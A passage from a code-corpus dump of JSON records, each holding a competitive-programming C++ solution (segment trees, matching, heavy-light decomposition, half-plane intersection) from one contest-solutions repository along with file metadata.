t[2 * x + 1];\r\n\t}\r\n}\r\n\r\nvoid update(int x, int l, int r, int p, int v) {\r\n\tif (p < l || p > r) {\r\n\t\treturn;\r\n\t}\r\n\tif (l == r) {\r\n\t\tt[x] = v;\r\n\t} else {\r\n\t\tint m = (l + r) >> 1;\r\n\t\tupdate(2 * x, l, m, p, v);\r\n\t\tupdate(2 * x + 1, m + 1, r, p, v);\r\n\t\tt[x] = t[2 * x] + t[2 * x + 1];\r\n\t}\r\n}\r\n\r\nint find_kth(int k) {\r\n\tint x = 1;\r\n\tint l = 1;\r\n\tint r = n;\r\n\twhile (l != r) {\r\n\t\tif (t[2 * x] >= k) {\r\n\t\t\tx = 2 * x;\r\n\t\t\tr = (l + r) / 2;\r\n\t\t} else {\r\n\t\t\tk -= t[2 * x];\r\n\t\t\tx = 2 * x + 1;\r\n\t\t\tl = (l + r) / 2 + 1;\r\n\t\t}\r\n\t}\r\n\treturn l;\r\n}\r\n\r\nvector<ll> f;\r\nint ans[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> p;\r\n\tbuild(1, 1, n);\r\n\tf.push_back(1);\r\n\twhile (f.size() < n && f.back() <= inf / f.size()) {\r\n\t\tf.push_back(1LL * f.size() * f.back());\r\n\t}\r\n\tp--;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tint cnt = n - i;\r\n\t\tif (cnt > f.size() - 1) {\r\n\t\t\tans[i] = i;\r\n\t\t\tupdate(1, 1, n, i, 0);\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tll k = p / f[cnt];\r\n\t\tint v = find_kth(k + 1);\r\n\t\tans[i] = v;\r\n\t\tupdate(1, 1, n, v, 0);\r\n\t\tp -= k * f[cnt];\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcout << ans[i] << \" \\n\"[i == n];\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3208955228328705, "alphanum_fraction": 0.34079602360725403, "avg_line_length": 21.647058486938477, "blob_id": "fd57f0ec82318ad8f1a7a065620d56f9be26ff59", "content_id": "ab94297f8d3fc72e7144574d8591518c92af72a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 402, "license_type": "no_license", "max_line_length": 68, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p1201-Accepted-s470524.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n\r\nint c,n,a[1000],s;\r\n\r\nint main(){\r\n scanf(\"%d\",&c);\r\n while(c--){\r\n scanf(\"%d\",&n);\r\n s=0;\r\n for(int i=0; i<n; i++)scanf(\"%d\",&a[i]);\r\n std::sort(a,a+n);\r\n for(int i=0; i<n; i++)if(s < a[i]*(n-i))s=a[i]*(n-i);\r\n printf(\"%d\\n\",s);\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.29652997851371765, "alphanum_fraction": 0.37223973870277405, "avg_line_length": 24.41666603088379, "blob_id": "865237230d39a31f03b3217909cb8b54a1af7cf8", "content_id": "ecb0e6ea7fd22bbed5684eea3be1f3dc88b87a8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 634, "license_type": "no_license", "max_line_length": 52, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p3044-Accepted-s717233.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nlong long x[2][205], a[2][2], b[2][2], p[2];\r\n\r\nint main() {\r\n\tfor (int i = 0; i < 2; i++) {\r\n\t\tfor (int j = 0; j < 2; j++)\r\n\t\t\tcin >> a[i][j] >> b[i][j];\r\n\t\tfor (int j = a[i][0]; j <= b[i][0]; j++)\r\n\t\t\tfor (int k = a[i][1]; k <= b[i][1]; k++)\r\n\t\t\t\tx[i][j + k]++;\r\n\t\tfor (int j = 1; j <= 200; j++)\r\n\t\t\tx[i][j] += x[i][j - 1];\r\n\t}\r\n\tfor (int i = 1; i <= 200; i++) {\r\n\t\tp[0] += (x[0][200] - x[0][i - 1]) * (x[1][i - 1]);\r\n\t\tp[1] += (x[1][200] - x[1][i - 1]) * (x[0][i - 1]);\r\n\t}\r\n\tif (p[0] == p[1]) cout << \"Tie\\n\";\r\n\telse if (p[0] < p[1]) cout << \"Emma\\n\";\r\n\telse cout << \"Gunnar\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.2901810109615326, "alphanum_fraction": 0.31925398111343384, "avg_line_length": 16.872549057006836, "blob_id": "def5789a667c907131fe972083fc9c83c48cab33", "content_id": "20d8d5ba0dd24f8e1700b3485e3eb2309872e20e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1823, "license_type": "no_license", "max_line_length": 57, "num_lines": 102, "path": "/Caribbean-Training-Camp-2018/Contest_3/Solutions/F3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 1000 * 1000;\n\nconst int M = 1000 * 1000 * 1000 + 7;\n\ninline void add(int & a, int b) {\n a += b;\n if (a >= M) {\n a -= M;\n }\n}\n\ninline int mul(int a, int b) {\n return (long long)a * b % M;\n}\n\ninline int power(int x, int n) {\n int y = 1;\n while (n) {\n if (n & 1) {\n y = mul(y, x);\n }\n x = mul(x, x);\n n >>= 1;\n }\n return y;\n}\n\nint n;\nint a[N + 10];\nint f[N + 10];\nint c[N + 10];\n\nint mu[N + 10];\nbool sieve[N + 10];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n cin >> n;\n for (int i = 0; i < n; i++) {\n cin >> a[i];\n f[a[i]]++;\n }\n\n for (int i = 1; i <= N; i++) {\n for (int j = i; j <= N; j += i) {\n c[i] += f[j];\n }\n }\n\n for (int i = 1; i <= N; i++) {\n mu[i] = 1;\n }\n\n sieve[1] = true;\n mu[1] = 1;\n for (int i = 2; i <= N; i++) {\n if (!sieve[i]) {\n for (int j = i + i; j <= N; j += i) {\n sieve[j] = true;\n }\n if ((long long)i * i <= N) {\n for (int j = i * i; j <= N; j += i * i) {\n mu[j] = 0;\n }\n }\n for (int j = i; j <= N; j += i) {\n mu[j] = -mu[j];\n }\n }\n }\n\n for (int i = 1; i <= N; i++) {\n if (mu[i] == -1) {\n mu[i] = M - 1;\n }\n }\n\n for (int i = 1; i <= N; i++) {\n c[i] = power(2, c[i]);\n add(c[i], M - 1);\n }\n\n int ans = 0;\n\n for (int g = 1; g <= N; g++) {\n int t = 0;\n for (int x = g; x <= N; x += g) {\n add(t, mul(c[x], mu[x / g]));\n }\n add(ans, mul(g, t));\n }\n\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.31265759468078613, "alphanum_fraction": 0.34795764088630676, "avg_line_length": 24.10126495361328, "blob_id": "56b995968862c67a71061956eb8579d6f428fe97", "content_id": "ea99922ebc7d096bf07bc4c4c7dda59b50c1eb2f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1983, "license_type": "no_license", "max_line_length": 118, "num_lines": 79, "path": "/Codeforces-Gym/101078 - 2016-2017 CT S03E01: Codeforces Trainings Season 3 Episode 1 - 2010 Benelux Algorithm Programming Contest (BAPC 10)/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E01: Codeforces Trainings Season 3 Episode 1 - 2010 Benelux Algorithm Programming Contest (BAPC 10)\n// 101078J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint t;\nint h, v;\nstring sh[555];\nstring sv[555];\nint xh[555], yh[555], lh[555];\nint xv[555], yv[555], lv[555];\nvector <int> graph[555];\nint match[555];\n\nint mark[555];\nint id;\n\nbool dfs(int u) {\n if (mark[u] == id) {\n return false;\n }\n mark[u] = id;\n for (int i = 0; i < graph[u].size(); i++) {\n int v = graph[u][i];\n if (match[v] == -1 || dfs(match[v])) {\n match[v] = u;\n return true;\n }\n }\n return false;\n}\n\nint main(){\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> t;\n while (t--) {\n cin >> h >> v;\n for (int i = 0; i < h; i++) {\n cin >> xh[i] >> yh[i] >> sh[i];\n lh[i] = sh[i].size();\n }\n for (int i = 0; i < v; i++) {\n cin >> xv[i] >> yv[i] >> sv[i];\n lv[i] = sv[i].size();\n }\n for (int i = 0; i < h; i++) {\n graph[i].clear();\n for (int j = 0; j < v; j++) {\n if (xh[i] <= xv[j] && xv[j] < xh[i] + lh[i]) {\n if (yv[j] <= yh[i] && yh[i] < yv[j] + lv[j]) {\n int dx = xv[j] - xh[i];\n int dy = yh[i] - yv[j];\n if (sh[i][dx] != sv[j][dy]) {\n graph[i].push_back(j);\n //cerr << i << \" \" << j << \" \" << sh[i][dx] << \" \" << sv[j][dy] << \"\\n\";\n }\n }\n }\n }\n }\n for (int i = 0; i < v; i++) {\n match[i] = -1;\n }\n int ans = 0;\n for (int i = 0; i < h; i++) {\n id++;\n if (dfs(i)) {\n ans++;\n }\n }\n ans = h + v - ans;\n cout << ans << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.36754176020622253, "alphanum_fraction": 0.38663485646247864, "avg_line_length": 12.448275566101074, "blob_id": "576d47c60023f1507b7dc9122c4f0e889296cc0c", "content_id": "b5fa76e4e2bf06b4f23679a53d64d859e5fa2f84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 419, "license_type": "no_license", "max_line_length": 37, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p2654-Accepted-s539403.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<iostream>\r\n#include<algorithm>\r\nusing namespace std;\r\nlong n;\r\nstring s;\r\nint main()\r\n{\r\n cin >> n;\r\n\r\n int k=0;\r\n\r\n while(n-(1<<k)>=0)\r\n {\r\n n-=(1<<k);\r\n k++;\r\n }\r\n\r\n //cout << n << \" \" << k << endl;\r\n\r\n for(int i=0; i<k; i++)\r\n {\r\n if(n&(1<<i))s+='7';\r\n else s+='4';\r\n }\r\n reverse(s.begin(),s.end());\r\n\r\n cout << s << endl;\r\n}\r\n" }, { "alpha_fraction": 0.3798449635505676, "alphanum_fraction": 0.4227086305618286, "avg_line_length": 16.97541046142578, "blob_id": "3d2d119e53bd30da58e89471a56305c0cb119185", "content_id": "ec8c21db2f45b1889df24523d86fb02ea473db32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2193, "license_type": "no_license", "max_line_length": 85, "num_lines": 122, "path": "/Codeforces-Gym/101174 - 2016-2017 ACM-ICPC Southwestern European Regional Programming Contest (SWERC 2016)/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC Southwestern European Regional Programming Contest (SWERC 2016)\n// 101174K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\ntypedef pair<int,int> par;\ntypedef pair<int,par> tri;\n\nvector<int> g3[MAXN];\nvector<int> g2[MAXN];\n\nmap<tri,int> dic3;\nmap<par,int> dic2;\n\nint n3, n2;\n\nint p3[MAXN], p2[MAXN];\n\nint insert3( tri nod ){\n if( !dic3.count(nod) ){\n n3++;\n dic3[ nod ] = n3;\n }\n\n return dic3[ nod ];\n}\n\nint insert2( par nod ){\n if( !dic2.count(nod) ){\n n2++;\n dic2[ nod ] = n2;\n }\n\n return dic2[ nod ];\n}\n\nbool mk3[MAXN], mk2[MAXN];\n\nbool dfs( int u, int p, vector<int> *g, bool *mk , int *pp ){\n if( mk[u] ){\n return true;\n }\n\n mk[u] = true;\n pp[u] = p;\n\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n\n if( v != p && pp[v] != u ){\n if( dfs( v , u , g , mk , pp ) ){\n return true;\n }\n }\n }\n\n return false;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int m; cin >> m;\n\n n3 = n2 = 0;\n\n for( int i = 0; i < m; i++ ){\n int x, y, z, x2, y2, z2; cin >> x >> y >> z >> x2 >> y2 >> z2;\n\n int u = insert3( tri( x , par( y , z ) ) );\n int v = insert3( tri( x2 , par( y2 , z2 ) ) );\n\n if( u != v ){\n g3[u].push_back( v );\n g3[v].push_back( u );\n }\n\n u = insert2( par( x , y ) );\n v = insert2( par( x2 , y2 ) );\n\n if( u != v ){\n g2[u].push_back( v );\n g2[v].push_back( u );\n }\n }\n\n bool ok3 = false;\n for( int i = 1; i <= n3 && !ok3; i++ ){\n if( !mk3[i] ){\n ok3 = dfs( i , 0 , g3 , mk3 , p3 );\n }\n }\n\n bool ok2 = false;\n\n for( int i = 1; i <= n2 && !ok2; i++ ){\n if( !mk2[i] ){\n ok2 = dfs( i , 0 , g2 , mk2 , p2 );\n }\n }\n\n if( !ok3 ){\n cout << \"No true closed chains\\n\";\n }\n else{\n cout << \"True closed chains\\n\";\n }\n\n if( !ok2 ){\n cout << \"No floor closed chains\\n\";\n }\n else{\n cout << \"Floor closed chains\\n\";\n }\n}\n" }, { "alpha_fraction": 0.3500669300556183, "alphanum_fraction": 0.39759036898612976, "avg_line_length": 19.342857360839844, "blob_id": "a0caf88ec37b9b34b1e8f012d119127234f855a9", "content_id": "e3c702402b034c43d870a280c6bc4b35f74b480a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1494, "license_type": "no_license", "max_line_length": 68, "num_lines": 70, "path": "/COJ/eliogovea-cojAC/eliogovea-p2181-Accepted-s634468.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int SIZE = 4;\r\nconst ll mod = 1000000007;\r\n\r\nstruct matrix {\r\n\tll m[SIZE + 1][SIZE + 1];\r\n\tvoid init() {\r\n\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\tm[i][j] = 0;\r\n\t}\r\n\tvoid ide() {\r\n\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\tm[i][j] = (i == j);\r\n\t}\r\n\tvoid ut(ll n, ll c, ll p) {\r\n\t\tm[0][0] = 1; m[0][1] = n; m[0][2] = c; m[0][3] = p;\r\n\t\tm[1][0] = 0; m[1][1] = p; m[1][2] = c; m[1][3] = n;\r\n\t\tm[2][0] = 0; m[2][1] = 0; m[2][2] = c + n + p; m[2][3] = 0;\r\n\t\tm[3][0] = 0; m[3][1] = n; m[3][2] = c; m[3][3] = p;\r\n\t}\r\n\tmatrix operator * (const matrix &A) {\r\n\t\tmatrix r;\r\n\t\tr.init();\r\n\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\tfor (int k = 0; k < SIZE; k++)\r\n\t\t\t\t\tr.m[i][j] = (r.m[i][j] + ((m[i][k] * A.m[k][j]) % mod)) % mod;\r\n\t\treturn r;\r\n\t}\r\n\tmatrix exp(ll n) {\r\n\t\tmatrix r, x = *this;\r\n\t\tr.ide();\r\n\t\twhile (n) {\r\n\t\t\tif (n & 1ll) r = r * x;\r\n\t\t\tx = x * x;\r\n\t\t\tn >>= 1ll;\r\n\t\t}\r\n\t\treturn r;\r\n\t}\r\n} a, b;\r\n\r\nint tc;\r\nll t, k, x, n, p, c, sn, sc, sp;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> t >> k;\r\n\t\tn = p = c = 0ll;\r\n\t\twhile (t--) {\r\n\t\t\tcin >> x;\r\n\t\t\tif (x > 0ll) p++;\r\n\t\t\tif (x == 0ll) c++;\r\n\t\t\tif(x < 0ll) n++;\r\n\t\t}\r\n\t\ta.ut(n, c, p);\r\n\t\tb = a.exp(k);\r\n\t\tcout << b.m[0][3] << ' ' << b.m[0][1] << ' ' << b.m[0][2] << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.34567901492118835, "alphanum_fraction": 0.3827160596847534, "avg_line_length": 14.645161628723145, "blob_id": "83ba0aa836db4aaa626bb360edd4168eff0f5c71", "content_id": "986f33a0de01782f3518f22ea2f61a073ea3a0eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 486, "license_type": "no_license", "max_line_length": 39, "num_lines": 31, "path": "/Codechef/EXTRAN.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint t, n, a[100005];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> a[i];\n\t\t}\n\t\tsort(a, a + n);\n\t\tif (a[0] + 1 < a[1]) {\n\t\t\tcout << a[0] << \"\\n\";\n\t\t} else if (a[n - 1] - 1 > a[n - 2]) {\n\t\t\tcout << a[n - 1] << \"\\n\";\n\t\t} else {\n\t\t\tfor (int i = 1; i < n; i++) {\n\t\t\t\tif (a[i] == a[i - 1]) {\n\t\t\t\t\tcout << a[i] << \"\\n\";\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\n" }, { "alpha_fraction": 0.3678634464740753, "alphanum_fraction": 0.3837551474571228, "avg_line_length": 21.355262756347656, "blob_id": "60bd7608e734305adeaae006e40d3c0004a773b1", "content_id": "ed6a8fb52a8ce79139423c6c1d0bbd1cdc4495a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1699, "license_type": "no_license", "max_line_length": 68, "num_lines": 76, "path": "/Codeforces-Gym/101606 - 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)\n// 101606B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nstruct point {\n LL x, y;\n point() {}\n point(LL _x, LL _y) : x(_x), y(_y) {}\n};\n\ninline double dist(const point & P, const point & Q) {\n double dx = P.x - Q.x;\n double dy = P.y - Q.y;\n return sqrt(dx * dx + dy * dy);\n}\n\npoint operator - (const point & P, const point & Q) {\n return point(P.x - Q.x, P.y - Q.y);\n}\n\ninline LL cross(const point & P, const point & Q) {\n return P.x * Q.y - P.y * Q.x;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n\n int n;\n cin >> n;\n\n vector <point> pts(n);\n\n for (int i = 0; i < n; i++) {\n cin >> pts[i].x >> pts[i].y;\n }\n\n double answer = -1;\n\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < n; j++) {\n if (i == j) {\n continue;\n }\n bool ok = true;\n LL mxc = 0;\n for (int k = 0; k < n; k++) {\n if (k != i && k != j) {\n LL c = cross(pts[k] - pts[i], pts[j] - pts[i]);\n if (c < 0) {\n ok = false;\n break;\n }\n mxc = max(mxc, c);\n }\n }\n if (ok) {\n double h = (double)mxc / dist(pts[i], pts[j]);\n cerr << i << \" \" << j << \" \" << h << \"\\n\";\n if (answer < 0.0 || h < answer) {\n answer = h;\n }\n }\n }\n }\n\n cout.precision(13);\n cout << fixed << answer << \"\\n\";\n}\n" }, { "alpha_fraction": 0.44629719853401184, "alphanum_fraction": 0.46101030707359314, "avg_line_length": 20.163043975830078, "blob_id": "6d48cf0848f2204cc3e785d2ed5b43a409a41ac6", "content_id": "66cc1480327c6bbdf641401dbc3ab0e657ee1d87", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2039, "license_type": "no_license", "max_line_length": 80, "num_lines": 92, "path": "/COJ/eliogovea-cojAC/eliogovea-p2954-Accepted-s685578.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 100005;\r\n\r\ntypedef long long LL;\r\n\r\nint n, s;\r\nLL x[MAXN], y[MAXN];\r\nvector<int> ady[MAXN];\r\nvector<LL> dist[MAXN];\r\nint C, T;\r\nLL D;\r\n\r\nLL dm(int a, int b) {\r\n\tLL dx = x[a] - x[b]; if (dx < 0) dx = -dx;\r\n\tLL dy = y[a] - y[b]; if (dy < 0) dy = -dy;\r\n\treturn dx + dy;\r\n}\r\n\r\nint parent[MAXN], size[MAXN], heavy[MAXN], chain[MAXN], head[MAXN], depth[MAXN];\r\nLL Dist[MAXN];\r\n\r\nvoid dfs(int u, int p, LL d) {\r\n\tDist[u] = d;\r\n\tparent[u] = p;\r\n\tdepth[u] = depth[p] + 1;\r\n\tsize[u] = 1;\r\n\tfor (int i = 0; i < (int)ady[u].size(); i++) {\r\n\t\tint v = ady[u][i];\r\n\t\tLL ds = dist[u][i];\r\n\t\tif (v == p) continue;\r\n\t\tdfs(v, u, d + ds);\r\n\t\tsize[u] += size[v];\r\n\t\tif (heavy[u] == -1 || size[heavy[u]] < size[v])\r\n\t\t\theavy[u] = v;\r\n\t}\r\n}\r\n\r\nvoid HL() {\r\n\tfor (int i = 1; i <= n; i++) heavy[i] = -1;\r\n\tdfs(1, 0, 0);\r\n\tint ch = 0;\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tif (parent[i] == 0 || heavy[parent[i]] != i) {\r\n\t\t\tfor (int j = i; j != -1; j = heavy[j]) {\r\n\t\t\t\tchain[j] = ch;\r\n\t\t\t\thead[j] = i;\r\n\t\t\t}\r\n\t\t\tch++;\r\n\t\t}\r\n}\r\n\r\nint lca(int u, int v) {\r\n\twhile (chain[u] != chain[v]) {\r\n\t\tif (depth[head[u]] > depth[head[v]]) u = parent[head[u]];\r\n\t\telse v = parent[head[v]];\r\n\t}\r\n\tif (depth[u] < depth[v]) return u;\r\n\treturn v;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> n >> s;\r\n\tfor (int i = 1; i <= n; i++) cin >> x[i] >> y[i];\r\n\tfor (int i = 1, a, b; i < n; i++) {\r\n\t\tcin >> a >> b;\r\n\t\tady[a].push_back(b);\r\n\t\tdist[a].push_back(dm(a, b));\r\n\t\tady[b].push_back(a);\r\n\t\tdist[b].push_back(dm(a, b));\r\n\t}\r\n\tHL();\r\n\tfor (int i = 1, a, b; i <= s; i++) {\r\n\t\tcin >> a >> b;\r\n\t\tint l = lca(a, b);\r\n\t\tint cnt = depth[a] + depth[b] - 2 * depth[l] + 1;\r\n\t\tLL dis = Dist[a] + Dist[b] - 2 * Dist[l] + dm(a, b);\r\n\t\tif (cnt > C || (cnt == C && dis < D)) {\r\n\t\t\tT = 1;\r\n\t\t\tC = cnt;\r\n\t\t\tD = dis;\r\n\t\t}\r\n\t\telse if (cnt == C && dis == D) T++;\r\n\t}\r\n\tcout << \"Markets: \" << C << \"\\nRoute Lenght: \" << D\r\n\t\t<< \"\\nNumber of optimal suggestions: \" << T << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4188952147960663, "alphanum_fraction": 0.44015783071517944, "avg_line_length": 22.010526657104492, "blob_id": "0684dc5d7bbe58abe413019245f3c289fa54bf76", "content_id": "6474b4367a72597e3a5d6bd1767a36be72a1a37d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4562, "license_type": "no_license", "max_line_length": 81, "num_lines": 190, "path": "/Caribbean-Training-Camp-2017/Contest_3/Solutions/G3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\n#define pb push_back\r\n#define sz(x) ((int)(x).size())\r\n\r\ntypedef long double ld;\r\n\r\n#define EPS 2e-8\r\nint sgn(ld x) { return x < -EPS ? -1 : x > EPS; }\r\n\r\nstruct pt {\r\n ld x, y;\r\n pt(ld _x = 0, ld _y = 0) : x(_x), y(_y) {}\r\n bool operator<(const pt &p2) const {\r\n if (fabs(x - p2.x) > EPS) return x < p2.x;\r\n return y < p2.y - EPS;\r\n }\r\n pt operator-(const pt &p2) const { return pt(x - p2.x, y - p2.y); }\r\n int operator*(const pt &p2) const { return sgn(x * p2.y - y * p2.x); }\r\n ld dist2() const { return x * x + y * y; }\r\n};\r\n\r\ndouble cross(const pt &a, const pt &b) {\r\n\treturn a.x * b.y - a.y * b.x;\r\n}\r\n\r\nstruct line {\r\n ld a, b, c;\r\n ld cang;\r\n\r\n line() {}\r\n line(const pt &p1, const pt &p2) {\r\n a = p1.y - p2.y;\r\n b = p2.x - p1.x;\r\n c = -a * p1.x - b * p1.y;\r\n\r\n ld d = sqrt(a * a + b * b);\r\n a /= d;\r\n b /= d;\r\n c /= d;\r\n cang = atan2(b, a);\r\n }\r\n int side(const pt &p) const {\r\n return sgn(a * p.x + b * p.y + c);\r\n }\r\n\r\n bool operator||(const line &l2) const { return sgn(a * l2.b - b * l2.a) == 0; }\r\n\r\n pt operator&(const line &l2) const {\r\n ld d = a * l2.b - b * l2.a;\r\n assert(fabs(d) > EPS);\r\n pt res(\r\n (b * l2.c - c * l2.b) / d,\r\n (a * l2.c - c * l2.a) / -d\r\n );\r\n return res;\r\n }\r\n bool angEq(const line &l2) const {\r\n ld d = fabs(cang - l2.cang);\r\n if (2 * M_PI - d < d) d = 2 * M_PI - d;\r\n return d < EPS;\r\n }\r\n bool operator<(const line &l2) const {\r\n ld d = fabs(cang - l2.cang);\r\n if (d < EPS) return c < l2.c - EPS;\r\n return cang < l2.cang;\r\n }\r\n};\r\n\r\n// BEGIN ALGO\r\nvector<pt> cross(vector<line> all) {\r\n { // \\emph{PANIC. Better to rewrite!!!}\r\n const ld BBOXC = 5.5e10;\r\n vector<pt> bbox;\r\n bbox.pb(pt( BBOXC, -BBOXC));\r\n bbox.pb(pt( BBOXC, BBOXC));\r\n bbox.pb(pt(-BBOXC, BBOXC));\r\n bbox.pb(pt(-BBOXC, -BBOXC));\r\n bbox.pb(bbox[0]);\r\n for (int i = 0; i < 4; i++)\r\n all.pb(line(bbox[i], bbox[i + 1]));\r\n }\r\n\r\n sort(all.begin(), all.end());\r\n int off = 0;\r\n for (int i = 1; i < sz(all); i++)\r\n if (all[i - 1].angEq(all[i])) {\r\n off++;\r\n } else\r\n all[i - off] = all[i];\r\n all.resize(sz(all) - off);\r\n\r\n vector<pt> pts;\r\n vector<line> ss;\r\n ss.pb(all[0]);\r\n int deleted = 0;\r\n\r\n for (int i = 1; i < sz(all); i++) {\r\n int pcnt = sz(pts);\r\n while (sz(pts) > deleted && /*BOXNEXT*/\r\n all[i].side(pts[sz(pts) - 1]) <= 0) {\r\n pts.erase(pts.end() - 1);\r\n ss.erase(ss.end() - 1);\r\n }\r\n if (sz(pts) == deleted && pcnt) { /*BOXNEXT*/\r\n if (pt(ss[sz(ss) - 1].a, ss[sz(ss) - 1].b) *\r\n pt(all[i].a, all[i].b) <= 0)\r\n return vector<pt>();\r\n } else {\r\n while (sz(pts) > deleted &&\r\n all[i].side(pts[deleted]) <= 0)\r\n \t ++deleted;\r\n } /*BOXNEXT*/\r\n if (ss[sz(ss) - 1] || all[i]) // parallel !!!\r\n return vector<pt>(); /*BOXNEXT*/\r\n pt cpt = ss[sz(ss) - 1] & all[i]; // intersect\r\n if (ss[deleted].side(cpt) >= 0) {\r\n pts.pb(cpt);\r\n ss.pb(all[i]);\r\n }\r\n }\r\n ss.erase(ss.begin(),ss.begin()+deleted);\r\n pts.erase(pts.begin(),pts.begin()+deleted);\r\n if (sz(ss) == 1) return pts;\r\n pts.pb(ss[0] & ss[sz(ss) - 1]);\r\n return pts;\r\n}\r\n\r\ndouble area(vector <pt> pts) {\r\n\tdouble res = 0.0;\r\n\tfor (int i = 0; i < pts.size(); i++) {\r\n\t\tres += cross(pts[i], pts[i + 1 == pts.size() ? 0 : i + 1]);\r\n\t}\r\n\treturn 0.5 * fabs(res);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t// freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\tint n;\r\n\tcin >> n;\r\n\tvector <pt> p(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> p[i].x >> p[i].y;\r\n\t}\r\n\r\n\tif (n <= 4) {\r\n\t\tcout << \"1\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\r\n\treverse(p.begin(), p.end());\r\n/*\r\n\tfor (int i = 1; i < n; i++) {\r\n vector <line> hp;\r\n for (int j = 0; j < n; j++) {\r\n hp.push_back(line(p[j], p[(j + i + 1) % n]));\r\n }\r\n vector <pt> pts = cross(hp);\r\n cerr << \"-->> \" << i << \"\\n\";\r\n for (int j = 0; j < pts.size(); j++) {\r\n cerr << \"(\" << pts[j].x << \", \" << pts[j].y << \")\\n\";\r\n }\r\n cerr << \"area: \" << area(pts) << \"\\n\";\r\n cerr << 